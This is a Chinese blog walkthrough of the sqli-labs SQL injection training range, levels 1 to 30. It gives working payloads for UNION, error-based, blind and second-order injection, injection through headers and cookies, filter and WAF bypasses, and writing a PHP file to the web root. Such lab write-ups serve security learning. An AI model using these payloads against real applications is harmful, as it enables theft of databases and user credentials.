发布于2022年11月4日3年前 sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-labs刷完或许对你的学习有所帮助,在这里记录一下每一题的大体思路和payload。项目地址git clone http://github.com/Rinkish/Sqli_Edited_Versionless-1~2基于错误的字符串/数字型注入。当我们在域名后面加入变量?id=1' id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交'or1=1–+,直接构造的sql语句就是SELECTFROMusersWHEREid=’1’or1=1–+LIMIT0,1这条语句因or1=1 则为真构造语句?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+,查看所有的数据库。http://992a3be73d2d49979529ed116492710a.n1.vsgo.cloud:8340/sqlilabs/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+可以看到当前数据库有:information_schema,challenges,mysql,security,test查询security内的所有表名http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+爆出列名http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+爆出用户名和密码http://127.0.0.1/sqlilabs/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+因为关卡比较多,这里就不在详解了。less3~4和前面一样,只不过闭合符号不一样了。我们对其源码进行简单的分析$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; }else{ print_r(mysql_error()); }在第三关我们输入?id=1'爆错如下: ''1'') LIMIT 0,1',但是在第四关输入'不报错。而输入"爆错误。而且还有个括号要绕过。所以构建语法如下:爆出用户名和密码http://127.0.0.1/sqlilabs/Less-1/?id=0") AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+less5~6这两关关闭了错误信息 ,我们可以用布尔盲注也可以直接报错注入爆值http://127.0.0.1/sqlilabs/Less-6/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23第五关和第六关的区别在于'和"less7?id=1' 报错?id=1'%23 报错都是 You have an error in your SQL syntax我们对源码解读,可以看到这样的语句。$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$id被双层括号和单引号包围,URL正确时有提示 构造语句http://127.0.0.1/sqlilabs/Less-7/ ?id=1')) UNION SELECT 1,2,3 into outfile "\WWW\\sqli\\Less-7\\1.php"%23less-8 9 10基于布尔/时间的盲注我们尝试用各种构造,都提示的是 You are in……构造如下:http://127.0.0.1/sqlilabs/Less-8/?id=1%27%20and%20If(ascii(substr(database(),1,1))>115,1,sleep(5))%23Less11要输入的有两个东西,抓包分析,是POST,传入的是username和passwd构造语法uname=-qing") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据在burp中构造post数据包效果如下less-12和11关一小点不同 ,闭合符号不一样而已 .构造如下:uname=admin") order by 2#&passwd=1&submit=Submitless-13用我们常说的万能钥匙or 1=1uname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit爆出库uname= 6666') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= 666') or 1=1 # &submit=SubmitLess14和上关一样,闭合不一样。uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=SubmitLess15单引号闭合的布尔盲注 直接用盲注语句猜解就是了uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=SubmitLess16一样的,布尔盲注uname=admin")and left(database(),1)='s'%23&passwd=1&submit=SubmitLess17update的注入 爆出数据库uname=admin&passwd=6666' or updatexml(1,concat(0x7e,(version()),0x7e),0) or '&submit=SubmitLess18基于报错注入抓包修改User-Agent' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND 'Less 19抓包修改Referer' AND updatexml(1,concat(0x7e,(select user()),0x7e),1) AND 'Less 20cookie字段的注入 和前面相比位置不同Cookie: uname=' union select 1,database(),6 or 1=1 #;less21还是cookie,但是更复杂了对payload进行base64编码hello' AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#less22双引号" AND updatexml(1,concat(0x7e,(select user()),0x7e),1)#less23id=1 ' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = 'Less 24二次注入注册一个 admin'#账号 ,然后修改密码,# Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows();的时候就把我们原先的admin' or 1=1 #取出来拿到语句中了Less 25提示不能用and 和 orfunction blacklist($id){ $id= preg_replace('/or/i',"", $id); $id= preg_replace('/AND/i',"", $id); return $id; }双写就行了?id=1' oorr '1'='1Less 26可以看到,这关过滤的东西比较多。function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; } $id= blacklist($id); $hint=$id; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";过滤了 or,and , /* , – ,# , 空格 , /构造语句?id=1%27||extractvalue(1,concat(0x7e,user(),0x7e))||%27Less 27和上关一样,过滤的东西也比较多。但闭合不一样?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1Less 28过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1Less 29加了一个很弱的waf?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23 Less 30和上关一样换汤不换药,这次是双引号id=1&id=0" union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)%23 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/3095.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见